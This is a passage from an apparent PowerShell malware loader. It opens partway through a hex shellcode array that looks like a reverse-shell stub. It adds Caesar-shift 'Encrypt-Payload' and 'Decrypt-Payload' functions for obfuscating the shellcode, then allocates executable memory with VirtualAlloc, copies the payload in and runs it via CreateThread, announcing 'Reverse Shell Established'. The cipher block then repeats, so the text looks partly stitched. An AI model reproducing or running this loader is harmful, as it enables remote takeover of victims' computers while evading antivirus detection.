0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0x
c0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,
0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x
44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0
,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,
0x0,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,
```

```
0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x0,0x49,0x89,0xf9,0
x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x7
4,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0x4
9,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5

function Encrypt-Payload {
    param(
        [Byte[]]$Payload,
        [int]$ShiftValue
    )

    $encryptedPayload = @()
    foreach ($byte in $Payload) {
        $encryptedByte = ($byte + $ShiftValue) % 256
        $encryptedPayload += $encryptedByte
    }

    return $encryptedPayload
}

function Decrypt-Payload {
    param(
        [Byte[]]$EncryptedPayload,
        [int]$ShiftValue
    )

    $decryptedPayload = @()
    foreach ($byte in $EncryptedPayload) {
        $decryptedByte = ($byte - $ShiftValue + 256) % 256
        $decryptedPayload += $decryptedByte
    }

    return $decryptedPayload
}

# Example usage
$shiftValue = 3

$encryptedPayload = Encrypt-Payload -Payload $AYasPKZM -ShiftValue $shiftValue
$decryptedPayload = Decrypt-Payload -EncryptedPayload $encryptedPayload -ShiftValue
$shiftValue

# Print the original, encrypted, and decrypted payloads
Write-Host "Original Payload: $($AYasPKZM -join ', ')"
```

```
Write-Host ""
Write-Host "Encrypted Payload: $($encryptedPayload -join ', ')"
Write-Host ""
Write-Host "Decrypted Payload: $($decryptedPayload -join ', ')"



$XhrXFttZzAJM =
$CpnjUAuOQbV::VirtualAlloc(0,[Math]::Max($AYasPKZM.Length,0x1000),0x3000,0x40)

[System.Runtime.InteropServices.Marshal]::Copy($AYasPKZM,0,$XhrXFttZzAJM,$AYasPKZM.
Length)

$CpnjUAuOQbV::CreateThread(0,0,$XhrXFttZzAJM,0,0,0)

Write-Host "Reverse Shell Established Successfuly!"
```

Caesar Cipher Encrypt-Decrypt Function and Usage:

```
function Encrypt-Payload {
    param(
        [Byte[]]$Payload,
        [int]$ShiftValue
    )

    $encryptedPayload = @()
    foreach ($byte in $Payload) {
        $encryptedByte = ($byte + $ShiftValue) % 256
        $encryptedPayload += $encryptedByte
    }

    return $encryptedPayload
}

function Decrypt-Payload {
    param(
        [Byte[]]$EncryptedPayload,
        [int]$ShiftValue
    )

    $decryptedPayload = @()
    foreach ($byte in $EncryptedPayload) {
        $decryptedByte = ($byte - $ShiftValue + 256) % 256
        $decryptedPayload += $decryptedByte
    }

    return $decryptedPayload
}

# Example usage
$shiftValue = 3

$encryptedPayload = Encrypt-Payload -Payload $AYasPKZM -ShiftValue $shiftValue
$decryptedPayload = Decrypt-Payload -EncryptedPayload $encryptedPayload -ShiftValue
$shiftValue
```